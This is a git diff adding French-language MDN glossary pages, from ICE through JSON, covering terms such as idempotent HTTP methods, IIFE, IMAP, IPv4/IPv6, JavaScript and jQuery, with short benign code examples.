L'algorithme du framework recherche le chemin avec la plus faible latence pour connecter les deux pairs, en essayant ces possibilités dans cet ordre :

+ +
    +
  1. Connexion UDP directe (dans ce cas—et uniquement dans ce cas—un serveur {{glossary("STUN")}} sert à trouver l'adresse de réseau du pair opposé
    2. +
  2. Connexion TCP directe, via le port HTTP
    3. +
  3. Connexion TCP directe, via le port HTTPS
    4. +
  4. Connexion indirecte via un serveur {{glossary("TURN")}}/relais (si une connexion directe échoue, e.g. si un des pairs est situé derrière un pare-feu qui empêche la traversée du NAT)
    5. +
+ +

Pour approfondir

+ +

Culture générale

+ + + +

Référence technique

+ +
    +
  • {{rfc("5245")}}, la spécification IETF pour ICE
    • +
  • {{domxref("RTCIceCandidate")}}, l'interface représentant un candidat ICE
    • +
diff --git a/files/fr/glossary/ide/index.html b/files/fr/glossary/ide/index.html new file mode 100644 index 0000000000..eecc704ad4 --- /dev/null +++ b/files/fr/glossary/ide/index.html @@ -0,0 +1,17 @@ +--- +title: EDI +slug: Glossaire/IDE +tags: + - CodingScripting + - Glossaire +translation_of: Glossary/IDE +--- +

Un Environnement de Développement Intégré (EDI) ou Environnement de Développement Interactif est une application logicielle qui fournit des facilités complètes aux programmeurs pour le développemet de logiciels. Un EDI est constitué normalement d'un éditeur de code source, d'outils pour automatiser la compilation et d'un débogueur.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Environnement_de_développement", "EDI")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/idempotent/index.html b/files/fr/glossary/idempotent/index.html new file mode 100644 index 0000000000..c3c03a19c6 --- /dev/null +++ b/files/fr/glossary/idempotent/index.html @@ -0,0 +1,50 @@ +--- +title: Idempotente +slug: Glossaire/Idempotent +tags: + - Glossaire + - HTTP + - Mécanismes web +translation_of: Glossary/Idempotent +--- +

Une méthode HTTP est idempotente si une requête identique peut être faite une ou plusieurs fois de suite avec le même effet, tout en laissant le serveur dans le même état. En d'autres termes, une méthode idempotente ne doit pas avoir d'effets secondaires (sauf dans la tenue de statistiques). Implémentées correctement, les méthodes {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} et {{HTTPMethod("DELETE")}} sont idempotentes, mais pas la méthode {{HTTPMethod("POST")}}. Toutes les méthodes {{glossary("Safe","sécurisées")}} sont également idempotentes.

+ +

L'idempotence implique que seul l'état réel du serveur est pris en compte et le code d'état renvoyé par chaque requête peut différer : le premier appel d'un {{HTTPMethod("DELETE")}} retournera probablement un code {{HTTPStatus("200")}}, tandis que les lancements successifs retourneront probablement un code {{HTTPStatus("404")}}. Une autre implication, {{HTTPMethod("DELETE")}} étant idempotente, les développeurs ne doivent pas implémenter d'API RESTful avec une fonctionnalité de suppression de la dernière entrée utilisant la méthode DELETE.

+ +

À noter : l'idempotence d'une méthode n'est pas garantie par le serveur et certaines applications peuvent incorrectement rompre la contrainte d'idempotence.

+ +

GET /pageX HTTP/1.1 est idempotente. Appelée plusieurs fois de suite, le client obtient les mêmes résultats :

+ +
GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+
+ +

POST /add_row HTTP/1.1 n'est pas idempotente ; si elle est appelée plusieurs fois, elle ajoute plusieurs lignes :

+ +
POST /add_row HTTP/1.1
+POST /add_row HTTP/1.1   -> ajoute une 2nde ligne
+POST /add_row HTTP/1.1   -> ajoute une 3ème ligne
+
+ +

DELETE /idX/delete HTTP/1.1 est idempotente, même si le code d'état renvoyé peut changer entre les demandes :

+ +
DELETE /idX/delete HTTP/1.1   -> Retourne 200 si idX existe
+DELETE /idX/delete HTTP/1.1   -> Retourne 404 comme il vient d'être supprimé
+DELETE /idX/delete HTTP/1.1   -> Retourne 404
+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • Définition d'idempotent dans la spécification HTTP (en).
    • +
+ +

Savoir technique

+ +
    +
  • Description de méthodes idempotentes courantes : {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}}, {{HTTPMethod("OPTIONS")}}
    • +
  • Description d'une méthode non idempotente courante : {{HTTPMethod("POST")}}
    • +
diff --git a/files/fr/glossary/identifier/index.html b/files/fr/glossary/identifier/index.html new file mode 100644 index 0000000000..9567c0bca3 --- /dev/null +++ b/files/fr/glossary/identifier/index.html @@ -0,0 +1,20 @@ +--- +title: Identificateur +slug: Glossaire/Identifiant +tags: + - Débutant + - Glossaire + - Partage +translation_of: Glossary/Identifier +--- +

Une séquence de caractères dans le code qui identifie une {{glossary("Variable","variable")}}, une {{glossary("Function","fonction")}}, ou une {{glossary("Property","propriété")}}.

+ +

En {{glossary("JavaScript")}}, les identifiants ne peuvent contenir que des caractères alphanumériques (ou "$" ou "_"), et ne doivent pas commencer par un chiffre. Un identifiant diffère d'une chaîne de caractères dans la mesure où une chaîne est une donnée, tandis qu'un identifiant fait partie du code. En JavaScript, il n'existe pas de moyen pour convertir un identifiant en chaîne, mais il est parfois possible de convertir une chaîne en identifiant.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Identificateur", "Identificateur")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/idl/index.html b/files/fr/glossary/idl/index.html new file mode 100644 index 0000000000..edaa4e9708 --- /dev/null +++ b/files/fr/glossary/idl/index.html @@ -0,0 +1,25 @@ +--- +title: IDL +slug: Glossaire/IDL +tags: + - CodingScripting + - Glossaire + - IDL + - Interface description language +translation_of: Glossary/IDL +--- +

Un IDL (Interface Description Language) est un langage générique utilisé pour définir les interfaces des objets en dehors de tout autre langage de programmation spécifique.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Interface description language", "IDL")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/ietf/index.html b/files/fr/glossary/ietf/index.html new file mode 100644 index 0000000000..d5b76fddac --- /dev/null +++ b/files/fr/glossary/ietf/index.html @@ -0,0 +1,19 @@ +--- +title: IETF +slug: Glossaire/IETF +tags: + - Glossaire + - IETF + - Infrastructure + - Internet +translation_of: Glossary/IETF +--- +

L'Internet Engineering Task Force (IETF) est une organisation mondiale qui élabore les {{glossary('spécification','spécifications')}} gouvernant les mécanismes derrière le fonctionnement de l'{{glossary("Internet")}}, en particulier {{glossary("TCP")}}/{{glossary("IPv6","IP")}}, la suite de {{glossary("Protocol","protocoles")}} Internet. L'IETF est ouvert, composé de bénévoles et soutenu par l'Internet Society.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/iife/index.html b/files/fr/glossary/iife/index.html new file mode 100644 index 0000000000..4aabbfb803 --- /dev/null +++ b/files/fr/glossary/iife/index.html @@ -0,0 +1,47 @@ +--- +title: IIFE +slug: Glossaire/IIFE +tags: + - Glossaire + - JavaScript + - Programmation +translation_of: Glossary/IIFE +--- +

IIFE (Immediately Invoked Function Expression) (Expression de fonction invoquée immédiatement) est une {{glossary("Function","fonction")}} {{glossary("JavaScript")}} qui est exécutée dès qu'elle est définie.

+ +

C'est un modèle de conception qui est également connu sous le nom de {{glossary("Self-Executing Anonymous Function","Fonction anonyme auto-exécutable")}} et contient deux parties principales. La première est la fonction anonyme avec portée lexicale incluse dans le {{jsxref("Operators/Grouping", "groupement opérateur")}}(). Cela empêche l'accès aux variables dans l'expression idiomatique IIFE ainsi que la pollution de la portée globale.

+ +

La deuxième partie crée la fonction immédiatement exécutable (), à travers laquelle le moteur JavaScript interprétera directement la fonction.

+ +

Exemples

+ +

La fonction devient une expression de fonction qui est immédiatement exécutée. La variable dans l'expression ne peut pas être atteinte de l'extérieur.

+ +
(function () {
+    var aName = "Barry";
+})();
+// Le nom de la variable n'est pas accessible depuis le périmètre externe
+aName // lancement "Exception ReferenceError: aName n'est pas défini"
+ +

Affecter l'IIFE à une variable ne la stocke pas mais reçoit son résultat.

+ +
var result = (function () {
+    var name = "Barry";
+    return name;
+})();
+// Crée immédiatement la sortie: 
+result; // "Barry"
+ +

Pour approfondir

+ +

Apprendre sur ce sujet

+ +
    +
  • Exemple rapide (à la fin de la section "Les fonctions", juste avant "Les objets personnalisés")
    • +
+ +

Culture générale

+ + diff --git a/files/fr/glossary/imap/index.html b/files/fr/glossary/imap/index.html new file mode 100644 index 0000000000..6e64653da6 --- /dev/null +++ b/files/fr/glossary/imap/index.html @@ -0,0 +1,22 @@ +--- +title: IMAP +slug: Glossaire/IMAP +tags: + - Couriels + - Débutant + - Glossaire +translation_of: Glossary/IMAP +--- +

IMAP (Internet Message Access Protocol) est un {{Glossary("Protocol","protocole")}} utilisé pour récupérer et stocker des courriels. Plus récent que {{Glossary("POP3")}}, IMAP permet d'avoir des dossiers et des règles sur le serveur.

+ +

Contrairement à POP3, IMAP autorise des connexions multiples simultanées vers une boîte de messagerie. Les clients qui accèdent à une boîte peuvent recevoir des informations sur les changements d'état effectués par les autres clients. IMAP propose aussi un mode où les clients restent connectés et reçoivent des informations à la demande.

+ +

Mark Crispin a initialement développé IMAP en 1986 sous le nom Interim Mail Access Protocol. IMAP4 revision 1 est la version actuelle, définie par la RFC 3501.

+ +

Pour approfondir

+ +
    +
  • {{RFC(3501)}}
    • +
  • {{Glossary("POP3")}}
    • +
  • {{interwiki("wikipedia", "Internet Message Access Protocol", "IMAP")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/immutable/index.html b/files/fr/glossary/immutable/index.html new file mode 100644 index 0000000000..f3873cdc5a --- /dev/null +++ b/files/fr/glossary/immutable/index.html @@ -0,0 +1,24 @@ +--- +title: Immuable +slug: Glossaire/Immuable +tags: + - Encodage + - Glossaire +translation_of: Glossary/Immutable +--- +

Un {{glossary("Object","objet")}} immuable est un objet dont le contenu ne peut pas être modifié.
+ Un objet peut être immuable pour diverses raisons, par exemple :

+ +
    +
  • Pour améliorer les performances (aucune modification future de l'objet n'est prévue)
    • +
  • Pour réduire la consommation mémoire (des {{glossary("Object reference","références d'objet")}} sont faites au lieu de cloner l'objet entier)
    • +
  • Thread-safety (plusieurs threads peuvent référencer le même objet sans qu'ils n'interfèrent entre eux)
    • +
+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Objet immuable", "Immuable")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/index.html b/files/fr/glossary/index.html new file mode 100644 index 0000000000..ba3592c8b8 --- /dev/null +++ b/files/fr/glossary/index.html @@ -0,0 +1,24 @@ +--- +title: Glossaire +slug: Glossaire +tags: + - Débutant + - Glossaire + - Index +translation_of: Glossary +--- +
{{LearnBox({"title":"Apprenez un nouveau terme :"})}}
+ +

Les technologies Web font l'objet d'un important jargon et autres termes techniques utilisés au travers de la documentation et du code. Ce glossaire fournit une définition des mots et abréviations qui vous seront nécessaires pour pouvoir comprendre et utiliser le Web.

+ +

{{GlossaryList({"split":"h3", "css":"multiColumnList"})}}

+ +

Contribuer au glossaire

+ +

Ce glossaire est un travail en cours et sans fin. Vous pouvez aider à l'améliorer en écrivant de nouvelles entrées ou en améliorant celles qui existent déjà. La façon la plus simple de commencer est de cliquer sur le bouton suivant ou de choisir l'un des termes suggérés ci-dessous.

+ +

Écrire une nouvelle entrée de glossaire

+ +

{{GlossaryList({"terms":[], "filter":"notdefined", "css":"multiColumnList"})}}

+ +

Si vous souhaitez en savoir plus sur la façon de contribuer au glossaire, consultez la page d'état de la documentation du glossaire.

diff --git a/files/fr/glossary/index/index.html b/files/fr/glossary/index/index.html new file mode 100644 index 0000000000..c3d5f147af --- /dev/null +++ b/files/fr/glossary/index/index.html @@ -0,0 +1,10 @@ +--- +title: Index +slug: Glossaire/Index +tags: + - Glossaire + - Index + - Navigation +translation_of: Glossary/Index +--- +

{{Index("/fr/docs/Glossaire")}}

diff --git a/files/fr/glossary/indexeddb/index.html b/files/fr/glossary/indexeddb/index.html new file mode 100644 index 0000000000..d14037f130 --- /dev/null +++ b/files/fr/glossary/indexeddb/index.html @@ -0,0 +1,18 @@ +--- +title: IndexedDB +slug: Glossaire/IndexedDB +tags: + - API + - Base de données + - Glossaire + - Programmation +translation_of: Glossary/IndexedDB +--- +

IndexedDB est une {{glossary("API")}} web pour stocker de larges structures de données à l'intérieur des navigateurs et de les indexer afin d'effectuer des recherches hautement performante. De la même façon qu'un Système de gestion de base de données relationnelle (basé sur {{glossary("SQL")}}), IndexedDB est une base de données transactionnelle. Cependant,  IndexedDB  utilise  les objets {{glossary("JavaScript")}} plutôt que des colonnes de tables fixes pour stocker les données.

+ +

En savoir plus

+ + diff --git a/files/fr/glossary/information_architecture/index.html b/files/fr/glossary/information_architecture/index.html new file mode 100644 index 0000000000..40d99ed013 --- /dev/null +++ b/files/fr/glossary/information_architecture/index.html @@ -0,0 +1,19 @@ +--- +title: Architecture de l'information +slug: Glossaire/Architecture_de_l_information +tags: + - Architecture + - Conception + - Glossaire + - Information +translation_of: Glossary/Information_architecture +--- +

L'architecture de l'information, appliquée à la conception et au développement de sites web, consiste à organiser l'information / le contenu / la fonctionnalité d'un site web de manière à offrir la meilleure expérience possible, les informations et les services étant facilement utilisables et trouvables.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia","Architecture_de_l'information","Architecture de l'information")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/inheritance/index.html b/files/fr/glossary/inheritance/index.html new file mode 100644 index 0000000000..c0218cba5b --- /dev/null +++ b/files/fr/glossary/inheritance/index.html @@ -0,0 +1,24 @@ +--- +title: Héritage +slug: Glossaire/Héritage +tags: + - Encodage + - Glossaire + - Héritage + - Langage de programmation + - Programmation +translation_of: Glossary/Inheritance +--- +

L'héritage est une fonctionnalité majeure de la {{glossary("OOP","programmation orientée objet")}}. L'abstraction de données peut être exprimée à plusieurs niveaux, c'est-à-dire que des {{glossary("Class","classes")}} peuvent avoir des superclasses et des sous-classes.

+ +

En tant que développeur d'applications, vous pouvez choisir quels seront les {{glossary("Attribute","attributs")}} et les {{glossary("Method","méthodes")}} de la superclasse à garder et ajouter les vôtres, rendant la définition de la classe très souple. Certains langages permettent à une classe d'hériter de plus d'un parent (héritage multiple).

+ +

Pour approfondir

+ +

Apprendre sur ce sujet

+ + + +

 

diff --git a/files/fr/glossary/input_method_editor/index.html b/files/fr/glossary/input_method_editor/index.html new file mode 100644 index 0000000000..c197bef355 --- /dev/null +++ b/files/fr/glossary/input_method_editor/index.html @@ -0,0 +1,29 @@ +--- +title: Méthode de saisie +slug: Glossaire/Input_method_editor +tags: + - Glossary +translation_of: Glossary/Input_method_editor +--- +

Une méthode de saisie (IME pour Input Method Editor) est un programme qui permet de saisir du texte via une interface utilisateur spécialisé. Les méthodes de saisie peuvent être utilisées dans de nombreuses situations dont : 

+ +
    +
  • la saisie de caractères chinois, japonnais ou encore coréen à partir d'un clavier latin ;
    • +
  • la saisie de caractères latin à partir d'un clavier numérique ;
    • +
  • la saisie de texte à partir d'un écran tactile avec reconnaisance d'écriture manuscrite.
    • +
+ + diff --git a/files/fr/glossary/instance/index.html b/files/fr/glossary/instance/index.html new file mode 100644 index 0000000000..384b376e75 --- /dev/null +++ b/files/fr/glossary/instance/index.html @@ -0,0 +1,20 @@ +--- +title: Instance +slug: Glossaire/Instance +tags: + - CodingScripting + - Débutant + - Glossaire + - JavaScript + - NeedsContent +translation_of: Glossary/Instance +--- +

Un {{glossary("objet")}} créé par un {{glossary("constructeur")}} est une instance de ce constructeur.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Instance (programmation)", "Instance")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/internationalization_and_localization/index.html b/files/fr/glossary/internationalization_and_localization/index.html new file mode 100644 index 0000000000..acbdfe94a1 --- /dev/null +++ b/files/fr/glossary/internationalization_and_localization/index.html @@ -0,0 +1,28 @@ +--- +title: Internationalisation +slug: Glossaire/Internationalisation_et_localisation +tags: + - Glossaire + - Internationalisation + - Reference +translation_of: Glossary/Internationalization_and_localization +--- +

L'internationalisation, souvent abrégée en "i18n", est l'adaptation d'un site web ou d'une application web à différentes langues, différences régionales et exigences techniques pour différentes régions et pays. L'internationalisation est le processus d'architecture de votre application web afin qu'elle puisse être rapidement et facilement adaptée à diverses langues et régions sans trop d'efforts d'ingénierie lorsque de nouvelles langues et régions sont prises en charge. Aussi pour qu'un utilisateur puisse parcourir les fonctionnalités pour traduire ou localiser l'application pour accéder à tout le contenu sans casser la mise en page.

+ +

L'internationalisation inclut la prise en charge de plusieurs jeux de caractères (généralement via Unicode), des unités de mesure (devise, °C/°F, km/miles, etc.), formats de date et d'heure, dispositions du clavier, et directions du texte.

+ +

Voir aussi

+ + + + diff --git a/files/fr/glossary/internet/index.html b/files/fr/glossary/internet/index.html new file mode 100644 index 0000000000..39c9dfd453 --- /dev/null +++ b/files/fr/glossary/internet/index.html @@ -0,0 +1,23 @@ +--- +title: Internet +slug: Glossaire/Internet +tags: + - Débutant + - Glossaire + - Guide + - Introduction + - Mécanismes web + - Tutoriel + - Web +translation_of: Glossary/Internet +--- +

Internet est un réseau mondial constitué de réseaux. Ce réseau utilise le protocole Internet aussi nommé {{glossary("TCP")}}/{{glossary("IPv6", "IP")}} d'après ses principaux {{glossary("Protocol", "protocoles")}}.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/ip_address/index.html b/files/fr/glossary/ip_address/index.html new file mode 100644 index 0000000000..ed11a8f2f9 --- /dev/null +++ b/files/fr/glossary/ip_address/index.html @@ -0,0 +1,21 @@ +--- +title: Adresse IP +slug: Glossaire/IP_Address +tags: + - Débutant + - Glossaire + - Infrastructure + - Web +translation_of: Glossary/IP_Address +--- +

Une adresse IP est une série de chiffres assignée à chaque appareil connecté à un réseau qui utilise le protocole Internet.

+ +

Le terme "Adresse IP" se réfère généralement à des adresses IPv4 sur 32 bits. L'IPv6 n'est pas encore très répandu.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/ipv4/index.html b/files/fr/glossary/ipv4/index.html new file mode 100644 index 0000000000..bdeb7c6771 --- /dev/null +++ b/files/fr/glossary/ipv4/index.html @@ -0,0 +1,19 @@ +--- +title: IPv4 +slug: Glossaire/IPv4 +tags: + - Glossaire + - IPv4 + - Internet Protocole + - protocole +translation_of: Glossary/IPv4 +--- +

IPv4  est la 4e version du  {{Glossary("Protocol","protocole")}} de communication d'{{glossary("Internet")}} et la première version vraiment déployée.

+ +

Formalisé pour la première fois en 1981, IPv4 prend ces racines dans le développement initial d'ARPAnet. IPv4 est un protocole sans connexion pour être utilisé sur des couches de liaison par commutation de packet (ethernet). {{glossary("IPv6")}} va progressivement remplacer IPv4 à cause des problème de sécurité d'IPv4 et des limitations du nombre d'adresses. (La version 5 a été conçue en 1979 comme une expérimentation du protocole Internet Stream, qui n'a pourtant jamais été appelé IPv5.)

+ +

En savoir plus

+ +

Culture générale

+ +

{{interwiki("wikipedia", "IPv4", "IPv4")}} sur Wikipédia

diff --git a/files/fr/glossary/ipv6/index.html b/files/fr/glossary/ipv6/index.html new file mode 100644 index 0000000000..4dfef4cc47 --- /dev/null +++ b/files/fr/glossary/ipv6/index.html @@ -0,0 +1,17 @@ +--- +title: IPv6 +slug: Glossaire/IPv6 +tags: + - Glossaire + - IPv6 +translation_of: Glossary/IPv6 +--- +

IPv6 est la version actuelle du {{glossary("protocol","protocole")}} sous-jacent de communication pour {{glossary("Internet")}}. Lentement  IPv6 remplace {{Glossary("IPv4")}}, entre autres raisons parce que IPv6  permet d'avoir de nombreuses {{Glossary("IP address","adresses IP")}} différentes.

+ +

En savoir plus

+ +

Connaissances générales

+ +
    +
  • {{interwiki("wikipedia", "IPv6", "IPv6")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/irc/index.html b/files/fr/glossary/irc/index.html new file mode 100644 index 0000000000..dadcc97904 --- /dev/null +++ b/files/fr/glossary/irc/index.html @@ -0,0 +1,21 @@ +--- +title: IRC +slug: Glossaire/IRC +tags: + - Discussion écrite en ligne + - Glossaire + - Infrastructure + - Protocoles + - irc +translation_of: Glossary/IRC +--- +

IRC (Internet relay chat) est un système mondial de discussion textuelle. Il nécessite une connexion internet et un client de messagerie IRC, qui va envoyer et recevoir des messages via les serveurs IRC.

+ +

Conçu par Jarrko Oikarinen à la fin des années 80, IRC est un protocole ouvert basé sur le protocole de transport {{glossary("TCP")}}. Le serveur IRC diffuse les messages à toutes les personnes connectées sur l'un des nombreux canaux de discussion IRC (chacun avec son propre ID).

+ +

Pour approfondir

+ + diff --git a/files/fr/glossary/iso/index.html b/files/fr/glossary/iso/index.html new file mode 100644 index 0000000000..fcb4c9f4bd --- /dev/null +++ b/files/fr/glossary/iso/index.html @@ -0,0 +1,20 @@ +--- +title: ISO +slug: Glossaire/ISO +tags: + - Glossaire + - ISO + - Infrastructure + - Standards du Web + - spécifications web +translation_of: Glossary/ISO +--- +

ISO (International Organization for Standardization) est une organisation internationale qui développe des critères uniformisés coordonnant les entreprises de chaque principal secteur.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/isp/index.html b/files/fr/glossary/isp/index.html new file mode 100644 index 0000000000..c67426099d --- /dev/null +++ b/files/fr/glossary/isp/index.html @@ -0,0 +1,21 @@ +--- +title: FAI +slug: Glossaire/FAI +tags: + - FAI + - Fournisseur d'accès à Internet + - Glossaire + - Web + - WebMechanics +translation_of: Glossary/ISP +--- +

Un FAI (Fournisseur d'Accès à Internet) vend un accès à Internet, et parfois un service de messagerie, de l'hébergement web ou de la voix sur IP, soit sur une connexion commutée via une ligne téléphonique (le plus fréquent dans le passé), soit sur une connexion haut débit comme un service DSL ou avec un modem câble.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • Le fonctionnement de l'Internet (explications pour les débutants)
    • +
  • {{interwiki("wikipedia", "Fournisseur d'accès à Internet", "Fournisseur d'accès à Internet")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/itu/index.html b/files/fr/glossary/itu/index.html new file mode 100644 index 0000000000..193fd8e9bb --- /dev/null +++ b/files/fr/glossary/itu/index.html @@ -0,0 +1,27 @@ +--- +title: ITU +slug: Glossaire/ITU +tags: + - Glossaire + - ITU + - Standardisation + - organisation +translation_of: Glossary/ITU +--- +

L'Union Internationale des Télécommunications (ITU) est l'organisation autorisée par les Nations Unies à établir des normes et des règles pour les télécommunication, y compris le télégraphe, la radio, la téléphonie et Internet. De la définition des règles pour garantir que les transmissions arrivent là où elles doivent aller et de la création du signal d'alerte «SOS» utilisé en code Morse, l'UIT joue depuis longtemps un rôle clé dans la manière dont nous utilisons la technologie pour échanger des informations et des idées.

+ +

À l'ère de l'Internet, le rôle de l'UIT consistant à établir des normes pour les formats de données vidéo et audio utilisés pour le streaming, la téléconférence et à d'autres fins. Par exemple, l'UIT et le Moving Picture Experts Group (MPEG) ont travaillé ensemble pour développer et publier, ainsi que pour maintenir, les diverses spécifications MPEG, telles que MPEG-2 (ITU H.262), AVC (ITU H.264 ) et HEVC (ITU H.265).

+ +

Apprendre plus

+ +

Culture générale

+ + + +

En savoir plus

+ + diff --git a/files/fr/glossary/jank/index.html b/files/fr/glossary/jank/index.html new file mode 100644 index 0000000000..3bc4e70bbd --- /dev/null +++ b/files/fr/glossary/jank/index.html @@ -0,0 +1,11 @@ +--- +title: Jank +slug: Glossaire/Jank +tags: + - Débutant + - Encodage + - Glossaire + - Performance +translation_of: Glossary/Jank +--- +

Jank se réfère à la lenteur dans une interface utilisateur, généralement causée par l'exécution de longues tâches sur le fil principal, le blocage du rendu ou la dépense de trop de puissance de processeur pour les processus en arrière-plan.

diff --git a/files/fr/glossary/java/index.html b/files/fr/glossary/java/index.html new file mode 100644 index 0000000000..52e454d6d8 --- /dev/null +++ b/files/fr/glossary/java/index.html @@ -0,0 +1,19 @@ +--- +title: Java +slug: Glossaire/Java +tags: + - Encodage + - Glossaire + - Java + - Langage de programmation +translation_of: Glossary/Java +--- +

Java est un langage de {{Glossary("OOP","programmation orientée objet")}} basé sur des {{Glossary("Class","classes")}}, de {{Glossary("Computer Programming","programmation informatique")}} conçu pour être indépendant de l'implémentation.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Java (langage)", "Java")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/javascript/index.html b/files/fr/glossary/javascript/index.html new file mode 100644 index 0000000000..f2d76e9c2d --- /dev/null +++ b/files/fr/glossary/javascript/index.html @@ -0,0 +1,46 @@ +--- +title: JavaScript +slug: Glossaire/JavaScript +tags: + - Encodage + - Glossaire + - JavaScript + - 'l10n:priority' +translation_of: Glossary/JavaScript +--- +

JavaScript (JS) est un langage de programmation principalement utilisé côté client pour générer des pages web dynamiquement, mais également côté {{Glossary("Server","serveur")}}, depuis l'arrivée de Node JS.

+ +

Ne pas confondre JavaScript avec {{interwiki("wikipedia","Java_(langage)","le langage de programmation Java")}}. "Java" et "JavaScript" sont des marques commerciales ou des marques déposées d'Oracle aux États-Unis et dans d'autres pays. Cependant, les deux langages de programmation ont une syntaxe, une sémantique et des utilisations très différentes.

+ +

D'abord pensé comme un langage côté serveur par Brendan Eich (alors employé de  Netscape Corporation), JavaScript arrive sur le navigateur Netscape Navigator 2.0 en Septembre 1995. Le succès est immédiat, et {{glossary("Microsoft Internet Explorer", "Internet Explorer 3.0")}} introduit JavaScript sous le nom de JScript en août 1996.

+ +

En novembre 1996, Netscape commence à travailler avec ECMA International pour faire de JavaScript un standard. Depuis lors, la standardisation de JavaScript est appelée ECMAScript, et correspond à la spécification ECMA-262, dont la dernière (9e) édition est disponible depuis juin 2018.

+ +

JavaScript est principalement utilisé dans le navigateur, permettant aux développeurs de manipuler le contenu des pages internet à travers le {{Glossary("DOM")}}, manipuler les données avec {{Glossary("AJAX")}} et {{Glossary("IndexedDB")}}, dessiner avec {{Glossary("canvas")}}, interargir avec le périphérique qui pilote le navigateur via de nombreuses {{Glossary("API","APIs")}}, etc.. JavaScript est l'un des langages les plus utilisés au monde, grâce au développement et à l'amélioration des performances des {{Glossary("API","APIs")}} dans les navigateurs.

+ +

Récemment, JavaScript est revenu du côté serveur grâce au succès de la plateforme Node.js, l'environnement d’exécution multi-plateforme le plus populaire en dehors du navigateur. Node.js permet d'utiliser JavaScript comme langage de script pour automatiser des tâches sur un PC et de mettre en place des serveurs {{Glossary("HTTP")}} et {{Glossary("WebSockets")}} pleinement fonctionnels.

+ +

En savoir plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "JavaScript", "JavaScript")}} sur Wikipedia
    • +
+ +

Apprentissage

+ + + +

Références techniques

+ + diff --git a/files/fr/glossary/jpeg/index.html b/files/fr/glossary/jpeg/index.html new file mode 100644 index 0000000000..8375478b58 --- /dev/null +++ b/files/fr/glossary/jpeg/index.html @@ -0,0 +1,19 @@ +--- +title: JPEG +slug: Glossaire/jpeg +tags: + - Composing + - Débutant + - Glossaire + - JPEG +translation_of: Glossary/jpeg +--- +

JPEG (Joint Photographic Experts Group) est une méthode de compression avec pertes très utilisée pour les images numériques.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "JPEG")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/jquery/index.html b/files/fr/glossary/jquery/index.html new file mode 100644 index 0000000000..e21c99703f --- /dev/null +++ b/files/fr/glossary/jquery/index.html @@ -0,0 +1,65 @@ +--- +title: jQuery +slug: Glossaire/jQuery +tags: + - API + - Bibliothèque + - Glossaire + - JavaScript +translation_of: Glossary/jQuery +--- +

jQuery est une  {{Glossary("Library","bibliothèque")}} {{Glossary("JavaScript")}} qui se concentre sur la simplification de la manipulation de {{Glossary("DOM")}}, les appels d'{{Glossary ("AJAX")}} et la gestion des {{Glossary ("Event","évènements")}}. Elle est fréquemment utilisée par les développeurs JavaScript.

+ +

jQuery utilise un format, $(selector).action() pour assigner un (ou plusieurs) élément à un évènement. Pour expliquer cela en détail, $(selector) appelle jQuery pour sélectionner un élément selector et l'affecte à un évènement d'{{Glossary("API")}} appelé .action().

+ +
$(document).ready(function(){
+  alert("Hello World!");
+  $("#blackBox").hide();
+});
+ +

Le code ci-dessus remplit la même fonction que le code suivant :

+ +
window.onload = function() {
+  alert( "Hello World!" );
+  document.getElementById("blackBox").style.display = "none";
+};
+ +

Télécharger jQuery

+ + + + + + + + + + + + + + + + +
npmbower (solo file)Google CDN
npm install jquerybower install https://code.jquery.com/jquery-3.2.1.min.jshttps://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
+ +

En apprendre plus

+ +

Culture générale

+ + + +

Apprentissage de jQuery

+ + + +

Information technique

+ + diff --git a/files/fr/glossary/json/index.html b/files/fr/glossary/json/index.html new file mode 100644 index 0000000000..e936a1fb10 --- /dev/null +++ b/files/fr/glossary/json/index.html @@ -0,0 +1,29 @@ +--- +title: JSON +slug: Glossaire/JSON +tags: + - CodingScripting + - Glossaire + - Intro + - JSON +translation_of: Glossary/JSON +--- +

JSON (JavaScript Object Notation) est un format d'échange de données. Bien qu'il n'en soit pas un sous-ensemble au sens strict, JSON ressemble fortement à un sous-ensemble de la syntaxe {{Glossary("JavaScript")}}. Le format JSON est accepté par de nombreux langages de programmation, mais il s'avère particulièrement utile pour les applications basées sur JavaScript comme les sites web et les extensions des navigateurs.

+ +

